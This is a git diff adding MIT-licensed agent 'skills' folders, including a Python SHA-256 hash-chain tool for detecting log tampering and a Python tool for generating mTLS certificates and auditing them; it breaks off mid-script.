b/skills/implementing-kubernetes-network-policy-with-calico/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-kubernetes-network-policy-with-calico/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-kubernetes-pod-security-standards/LICENSE b/skills/implementing-kubernetes-pod-security-standards/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-kubernetes-pod-security-standards/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-log-integrity-with-blockchain/LICENSE b/skills/implementing-log-integrity-with-blockchain/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-log-integrity-with-blockchain/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-log-integrity-with-blockchain/SKILL.md b/skills/implementing-log-integrity-with-blockchain/SKILL.md new file mode 100644 index 00000000..39f048e5 --- /dev/null +++ b/skills/implementing-log-integrity-with-blockchain/SKILL.md @@ -0,0 +1,33 @@ +--- +name: implementing-log-integrity-with-blockchain +description: >- + Build an append-only log integrity chain using SHA-256 hash chaining for tamper detection. + Each log entry is hashed with the previous entry's hash to create a blockchain-like structure + where modifying any entry invalidates all subsequent hashes. Implements log ingestion, + chain verification, tamper detection with pinpoint identification, and periodic checkpoint + anchoring to external timestamping services. +--- + +## Instructions + +1. Install dependencies: `pip install requests` +2. Ingest log entries from syslog, JSON, or plain text files. +3. For each entry, compute SHA-256 hash of: previous_hash + timestamp + log_content. +4. Store the chain as a JSON ledger with entry index, timestamp, content hash, previous hash, and chain hash. +5. Verify chain integrity by recomputing all hashes and detecting breaks. +6. Optionally anchor checkpoint hashes to an external timestamping service. + +```bash +python scripts/agent.py --log-file /var/log/syslog --chain-file log_chain.json --verify --output integrity_report.json +``` + +## Examples + +### Chain Entry Structure +```json +{"index": 42, "timestamp": "2024-01-15T10:30:00Z", "content_hash": "a1b2c3...", + "prev_hash": "d4e5f6...", "chain_hash": "SHA256(prev_hash + timestamp + content_hash)"} +``` + +### Tamper Detection +If entry 42 is modified, chain_hash[42] will not match SHA256(chain_hash[41] + ...), and all entries from 42 onward will be flagged as invalid. diff --git a/skills/implementing-log-integrity-with-blockchain/references/api-reference.md b/skills/implementing-log-integrity-with-blockchain/references/api-reference.md new file mode 100644 index 00000000..6c0d34ed --- /dev/null +++ b/skills/implementing-log-integrity-with-blockchain/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Log Integrity with Blockchain Hash Chaining + +## hashlib - SHA-256 Hashing +```python +import hashlib +hash_hex = hashlib.sha256("data".encode("utf-8")).hexdigest() +# Returns 64-char hex string +``` + +## Chain Entry Structure +```json +{ + "index": 0, + "timestamp": "2024-01-15T10:30:00.000Z", + "content_hash": "SHA256(log_entry_text)", + "prev_hash": "0000...0000 (genesis) or previous chain_hash", + "chain_hash": "SHA256(prev_hash + timestamp + content_hash)", + "content_preview": "first 200 chars of log entry" +} +``` + +## Chain Construction Algorithm +``` +genesis_hash = "0" * 64 +for each log_entry: + content_hash = SHA256(log_entry) + chain_hash = SHA256(prev_hash + timestamp + content_hash) + store(index, timestamp, content_hash, prev_hash, chain_hash) + prev_hash = chain_hash +``` + +## Verification Algorithm +``` +prev_hash = genesis_hash +for each entry in chain: + expected = SHA256(prev_hash + entry.timestamp + entry.content_hash) + if expected != entry.chain_hash: + TAMPER DETECTED at index + prev_hash = entry.chain_hash +``` + +## Checkpoint Structure +```json +{ + "timestamp": "2024-01-15T12:00:00Z", + "chain_length": 1000, + "head_hash": "chain_hash of last entry", + "head_index": 999, + "checkpoint_hash": "SHA256(chain_length + head_hash)" +} +``` + +## Tamper Detection Properties +- Modifying any entry invalidates all subsequent chain_hashes +- First break index identifies the tampered entry +- Checkpoint comparison detects retroactive modifications diff --git a/skills/implementing-log-integrity-with-blockchain/scripts/agent.py b/skills/implementing-log-integrity-with-blockchain/scripts/agent.py new file mode 100644 index 00000000..b61ccc44 --- /dev/null +++ b/skills/implementing-log-integrity-with-blockchain/scripts/agent.py @@ -0,0 +1,221 @@ +#!/usr/bin/env python3 +"""Log Integrity Chain Agent - Implements SHA-256 hash-chained append-only log for tamper detection.""" + +import json +import hashlib +import logging +import argparse +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +GENESIS_HASH = "0" * 64 + + +def compute_hash(data): + """Compute SHA-256 hash of a string.""" + return hashlib.sha256(data.encode("utf-8")).hexdigest() + + +def create_chain_entry(index, timestamp, content, prev_hash): + """Create a single chain entry with hash linking.""" + content_hash = compute_hash(content) + chain_input = f"{prev_hash}{timestamp}{content_hash}" + chain_hash = compute_hash(chain_input) + return { + "index": index, + "timestamp": timestamp, + "content_hash": content_hash, + "prev_hash": prev_hash, + "chain_hash": chain_hash, + "content_preview": content[:200], + } + + +def load_chain(chain_file): + """Load an existing hash chain from a JSON file.""" + try: + with open(chain_file, "r") as f: + chain = json.load(f) + logger.info("Loaded chain with %d entries from %s", len(chain), chain_file) + return chain + except FileNotFoundError: + logger.info("No existing chain found, starting new chain") + return [] + + +def save_chain(chain, chain_file): + """Save the hash chain to a JSON file.""" + with open(chain_file, "w") as f: + json.dump(chain, f, indent=2) + logger.info("Saved chain with %d entries to %s", len(chain), chain_file) + + +def ingest_log_file(log_file): + """Read log entries from a file (one entry per line).""" + entries = [] + with open(log_file, "r", errors="ignore") as f: + for line in f: + line = line.strip() + if line: + entries.append(line) + logger.info("Read %d log entries from %s", len(entries), log_file) + return entries + + +def ingest_json_log(json_file): + """Read structured log entries from a JSON array file.""" + with open(json_file, "r") as f: + data = json.load(f) + entries = [] + if isinstance(data, list): + for item in data: + entries.append(json.dumps(item, sort_keys=True)) + logger.info("Read %d JSON log entries from %s", len(entries), json_file) + return entries + + +def append_entries(chain, log_entries): + """Append new log entries to the hash chain.""" + prev_hash = chain[-1]["chain_hash"] if chain else GENESIS_HASH + start_index = len(chain) + new_entries = [] + for i, content in enumerate(log_entries): + timestamp = datetime.utcnow().isoformat() + "Z" + entry = create_chain_entry(start_index + i, timestamp, content, prev_hash) + chain.append(entry) + new_entries.append(entry) + prev_hash = entry["chain_hash"] + logger.info("Appended %d entries to chain (total: %d)", len(new_entries), len(chain)) + return new_entries + + +def verify_chain(chain): + """Verify the integrity of the entire hash chain.""" + if not chain: + return {"valid": True, "entries_checked": 0, "breaks": []} + breaks = [] + prev_hash = GENESIS_HASH + for entry in chain: + expected_input = f"{prev_hash}{entry['timestamp']}{entry['content_hash']}" + expected_hash = compute_hash(expected_input) + if entry["chain_hash"] != expected_hash: + breaks.append({ + "index": entry["index"], + "expected_hash": expected_hash, + "actual_hash": entry["chain_hash"], + "prev_hash_match": entry["prev_hash"] == prev_hash, + }) + if entry["prev_hash"] != prev_hash: + breaks.append({ + "index": entry["index"], + "issue": "prev_hash mismatch", + "expected_prev": prev_hash, + "actual_prev": entry["prev_hash"], + }) + prev_hash = entry["chain_hash"] + valid = len(breaks) == 0 + logger.info("Chain verification: %d entries checked, %d breaks found", len(chain), len(breaks)) + return {"valid": valid, "entries_checked": len(chain), "breaks": breaks} + + +def find_tampered_range(breaks): + """Identify the range of entries affected by tampering.""" + if not breaks: + return None + first_break = min(b["index"] for b in breaks) + return { + "first_tampered_entry": first_break, + "total_affected": len(breaks), + "tamper_start_index": first_break, + "note": f"All entries from index {first_break} onward may be compromised", + } + + +def create_checkpoint(chain, checkpoint_file): + """Create an integrity checkpoint with the current chain head hash.""" + if not chain: + return None + checkpoint = { + "timestamp": datetime.utcnow().isoformat() + "Z", + "chain_length": len(chain), + "head_hash": chain[-1]["chain_hash"], + "head_index": chain[-1]["index"], + "genesis_hash": GENESIS_HASH, + "checkpoint_hash": compute_hash(f"{len(chain)}{chain[-1]['chain_hash']}"), + } + with open(checkpoint_file, "w") as f: + json.dump(checkpoint, f, indent=2) + logger.info("Created checkpoint at index %d: %s", checkpoint["head_index"], checkpoint["checkpoint_hash"][:16]) + return checkpoint + + +def verify_checkpoint(chain, checkpoint_file): + """Verify chain against a previously saved checkpoint.""" + with open(checkpoint_file, "r") as f: + checkpoint = json.load(f) + cp_index = checkpoint["head_index"] + if cp_index >= len(chain): + return {"valid": False, "error": "Chain shorter than checkpoint"} + actual_hash = chain[cp_index]["chain_hash"] + valid = actual_hash == checkpoint["head_hash"] + return { + "valid": valid, + "checkpoint_index": cp_index, + "expected_hash": checkpoint["head_hash"], + "actual_hash": actual_hash, + } + + +def generate_report(verification, checkpoint, chain_length): + """Generate log integrity verification report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "chain_length": chain_length, + "integrity_valid": verification["valid"], + "entries_checked": verification["entries_checked"], + "breaks_found": len(verification["breaks"]), + "break_details": verification["breaks"][:20], + "checkpoint": checkpoint, + } + status = "INTACT" if verification["valid"] else "TAMPERED" + print(f"LOG INTEGRITY: {status} - {chain_length} entries, {len(verification['breaks'])} breaks") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Log Integrity Chain Agent") + parser.add_argument("--log-file", help="Log file to ingest") + parser.add_argument("--chain-file", default="log_chain.json", help="Hash chain storage file") + parser.add_argument("--verify", action="store_true", help="Verify chain integrity") + parser.add_argument("--checkpoint", help="Create/verify checkpoint file") + parser.add_argument("--output", default="integrity_report.json") + args = parser.parse_args() + + chain = load_chain(args.chain_file) + + if args.log_file: + entries = ingest_log_file(args.log_file) + append_entries(chain, entries) + save_chain(chain, args.chain_file) + + verification = {"valid": True, "entries_checked": 0, "breaks": []} + if args.verify: + verification = verify_chain(chain) + + checkpoint = None + if args.checkpoint: + if args.verify: + checkpoint = verify_checkpoint(chain, args.checkpoint) + else: + checkpoint = create_checkpoint(chain, args.checkpoint) + + report = generate_report(verification, checkpoint, len(chain)) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-memory-protection-with-dep-aslr/LICENSE b/skills/implementing-memory-protection-with-dep-aslr/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-memory-protection-with-dep-aslr/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-microsegmentation-with-guardicore/LICENSE b/skills/implementing-microsegmentation-with-guardicore/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-microsegmentation-with-guardicore/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-mimecast-targeted-attack-protection/LICENSE b/skills/implementing-mimecast-targeted-attack-protection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-mimecast-targeted-attack-protection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-mitre-attack-coverage-mapping/LICENSE b/skills/implementing-mitre-attack-coverage-mapping/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-mitre-attack-coverage-mapping/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-mobile-application-management/LICENSE b/skills/implementing-mobile-application-management/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-mobile-application-management/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-mtls-for-zero-trust-services/LICENSE b/skills/implementing-mtls-for-zero-trust-services/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-mtls-for-zero-trust-services/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-mtls-for-zero-trust-services/SKILL.md b/skills/implementing-mtls-for-zero-trust-services/SKILL.md new file mode 100644 index 00000000..592a08cf --- /dev/null +++ b/skills/implementing-mtls-for-zero-trust-services/SKILL.md @@ -0,0 +1,45 @@ +--- +name: implementing-mtls-for-zero-trust-services +description: > + Configures mutual TLS (mTLS) authentication between microservices using Python + cryptography library for certificate generation and ssl module for TLS verification. + Validates certificate chains, checks expiration, and audits mTLS deployment status. + Use when implementing zero-trust service-to-service authentication. +--- + +# Implementing mTLS for Zero Trust Services + +## Instructions + +Generate CA certificates, issue service certificates, and configure mutual TLS +verification for service-to-service authentication. + +```python +from cryptography import x509 +from cryptography.x509.oid import NameOID +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.asymmetric import rsa +import datetime + +# Generate CA key and certificate +ca_key = rsa.generate_private_key(public_exponent=65537, key_size=4096) +ca_cert = (x509.CertificateBuilder() + .subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Internal CA")])) + .issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Internal CA")])) + .public_key(ca_key.public_key()) + .serial_number(x509.random_serial_number()) + .not_valid_before(datetime.datetime.utcnow()) + .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=3650)) + .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True) + .sign(ca_key, hashes.SHA256())) +``` + +## Examples + +```python +import ssl +context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) +context.load_cert_chain("client.pem", "client-key.pem") +context.load_verify_locations("ca.pem") +context.verify_mode = ssl.CERT_REQUIRED +``` diff --git a/skills/implementing-mtls-for-zero-trust-services/references/api-reference.md b/skills/implementing-mtls-for-zero-trust-services/references/api-reference.md new file mode 100644 index 00000000..dd39c605 --- /dev/null +++ b/skills/implementing-mtls-for-zero-trust-services/references/api-reference.md @@ -0,0 +1,62 @@ +# API Reference: Implementing mTLS for Zero Trust Services + +## cryptography (Certificate Generation) + +```python +from cryptography import x509 +from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.asymmetric import rsa +import datetime + +# Generate RSA key +key = rsa.generate_private_key(public_exponent=65537, key_size=4096) + +# Build CA certificate +cert = (x509.CertificateBuilder() + .subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "CA")])) + .issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "CA")])) + .public_key(key.public_key()) + .serial_number(x509.random_serial_number()) + .not_valid_before(datetime.datetime.utcnow()) + .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=3650)) + .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True) + .sign(key, hashes.SHA256())) + +# Save PEM +key_pem = key.private_bytes(serialization.Encoding.PEM, + serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption()) +cert_pem = cert.public_bytes(serialization.Encoding.PEM) +``` + +## ssl Module (mTLS Connection) + +```python +import ssl, socket + +context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) +context.load_cert_chain("client.pem", "client-key.pem") +context.load_verify_locations("ca.pem") +context.verify_mode = ssl.CERT_REQUIRED + +with socket.create_connection(("host", 443)) as sock: + with context.wrap_socket(sock, server_hostname="host") as ssock: + peer = ssock.getpeercert() + print(ssock.version(), peer["subject"]) +``` + +## cert-manager (Kubernetes) + +```bash +# Install cert-manager +helm install cert-manager jetstack/cert-manager --set installCRDs=true + +# Create ClusterIssuer for internal CA +kubectl apply -f cluster-issuer.yaml +``` + +### References + +- cryptography: https://cryptography.io/en/latest/ +- Python ssl: https://docs.python.org/3/library/ssl.html +- cert-manager: https://cert-manager.io/docs/ diff --git a/skills/implementing-mtls-for-zero-trust-services/scripts/agent.py b/skills/implementing-mtls-for-zero-trust-services/scripts/agent.py new file mode 100644 index 00000000..7f5a1e99 --- /dev/null +++ b/skills/implementing-mtls-for-zero-trust-services/scripts/agent.py @@ -0,0 +1,184 @@ +#!/usr/bin/env python3 +"""Agent for implementing and auditing mutual TLS between services.""" + +import os +import ssl +import json +import socket +import argparse +from datetime import datetime, timedelta + +from cryptography import x509 +from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.asymmetric import rsa + + +def generate_ca(common_name="Internal mTLS CA", days_valid=3650): + """Generate a self-signed CA certificate and key.""" + key = rsa.generate_private_key(public_exponent=65537, key_size=4096) + subject = issuer = x509.Name([ + x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Security Team"), + x509.NameAttribute(NameOID.COMMON_NAME, common_name), + ]) + cert = (x509.CertificateBuilder() + .subject_name(subject) + .issuer_name(issuer) + .public_key(key.public_key()) + .serial_number(x509.random_serial_number()) + .not_valid_before(datetime.utcnow()) + .not_valid_after(datetime.utcnow() + timedelta(days=days_valid)) + .add_extension(x509.BasicConstraints(ca=True, path_length=1), critical=True) + .add_extension(x509.KeyUsage( + digital_signature=True, key_cert_sign=True, crl_sign=True, + content_commitment=False, key_encipherment=False, + data_encipherment=False, key_agreement=False, + encipher_only=False, decipher_only=False, + ), critical=True) + .sign(key, hashes.SHA256())) + return key, cert + + +def issue_service_cert(ca_key, ca_cert, service_name, san_dns=None, days_valid=365): + """Issue a service certificate signed by the CA.""" + key = rsa.generate_private_key(public_exponent=65537, key_size=2048) + subject = x509.Name([ + x509.NameAttribute(NameOID.COMMON_NAME, service_name), + ]) + builder = (x509.CertificateBuilder() + .subject_name(subject) + .issuer_name(ca_cert.subject) + .public_key(key.public_key()) + .serial_number(x509.random_serial_number()) + .not_valid_before(datetime.utcnow()) + .not_valid_after(datetime.utcnow() + timedelta(days=days_valid)) + .add_extension(x509.ExtendedKeyUsage([ + ExtendedKeyUsageOID.CLIENT_AUTH, + ExtendedKeyUsageOID.SERVER_AUTH, + ]), critical=False)) + dns_names = [x509.DNSName(service_name)] + if san_dns: + dns_names.extend([x509.DNSName(d) for d in san_dns]) + builder = builder.add_extension( + x509.SubjectAlternativeName(dns_names), critical=False, + ) + cert = builder.sign(ca_key, hashes.SHA256()) + return key, cert + + +def save_pem(key, cert, key_path, cert_path): + """Save key and certificate to PEM files.""" + with open(key_path, "wb") as f: + f.write(key.private_bytes( + serialization.Encoding.PEM, + serialization.PrivateFormat.TraditionalOpenSSL, + serialization.NoEncryption(), + )) + with open(cert_path, "wb") as f: + f.write(cert.public_bytes(serialization.Encoding.PEM)) + + +def verify_mtls_endpoint(host, port, ca_cert_path, client_cert_path, client_key_path): + """Test mTLS connectivity to an endpoint.""" + context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) + context.load_cert_chain(client_cert_path, client_key_path) + context.load_verify_locations(ca_cert_path) + context.verify_mode = ssl.CERT_REQUIRED + try: + with socket.create_connection((host, port), timeout=10) as sock: + with context.wrap_socket(sock, server_hostname=host) as ssock: + peer_cert = ssock.getpeercert() + return { + "host": host, + "port": port, + "status": "SUCCESS", + "peer_subject": dict(x[0] for x in peer_cert.get("subject", ())), + "peer_issuer": dict(x[0] for x in peer_cert.get("issuer", ())), + "not_after": peer_cert.get("notAfter", ""), + "tls_version": ssock.version(), + } + except Exception as e: + return {"host": host, "port": port, "status": "FAILED", "error": str(e)} + + +def audit_certificates(cert_dir): + """Audit all certificates in a directory for expiration and key size.""" + findings = [] + from pathlib import Path + for cert_path in Path(cert_dir).glob("*.pem"): + try: + with open(cert_path, "rb") as f: + cert = x509.load_pem_x509_certificate(f.read()) + days_remaining = (cert.not_valid_after_utc - datetime.utcnow()).days + key_size = cert.public_key().key_size + finding = { + "file": str(cert_path), + "subject": cert.subject.rfc4514_string(), + "issuer": cert.issuer.rfc4514_string(), + "not_after": str(cert.not_valid_after_utc), + "days_remaining": days_remaining, + "key_size": key_size, + "serial": str(cert.serial_number), + } + if days_remaining < 30: + finding["severity"] = "CRITICAL" if days_remaining < 7 else "HIGH" + elif key_size < 2048: + finding["severity"] = "HIGH" + else: + finding["severity"] = "OK" + findings.append(finding) + except Exception as e: + findings.append({"file": str(cert_path), "error": str(e)}) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="mTLS Zero Trust Agent") + parser.add_argument("--output-dir", default="./certs") + parser.add_argument("--audit-dir", help="Directory of certs to audit") + parser.add_argument("--verify-host", help="Host to test mTLS connection") + parser.add_argument("--verify-port", type=int, default=443) + parser.add_argument("--output", default="mtls_report.json") + parser.add_argument("--action", choices=[ + "generate_ca", "issue_cert", "verify", "audit", "full_setup" + ], default="full_setup") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + os.makedirs(args.output_dir, exist_ok=True) + + if args.action in ("generate_ca", "full_setup"): + ca_key, ca_cert = generate_ca() + save_pem(ca_key, ca_cert, + f"{args.output_dir}/ca-key.pem", f"{args.output_dir}/ca.pem") + 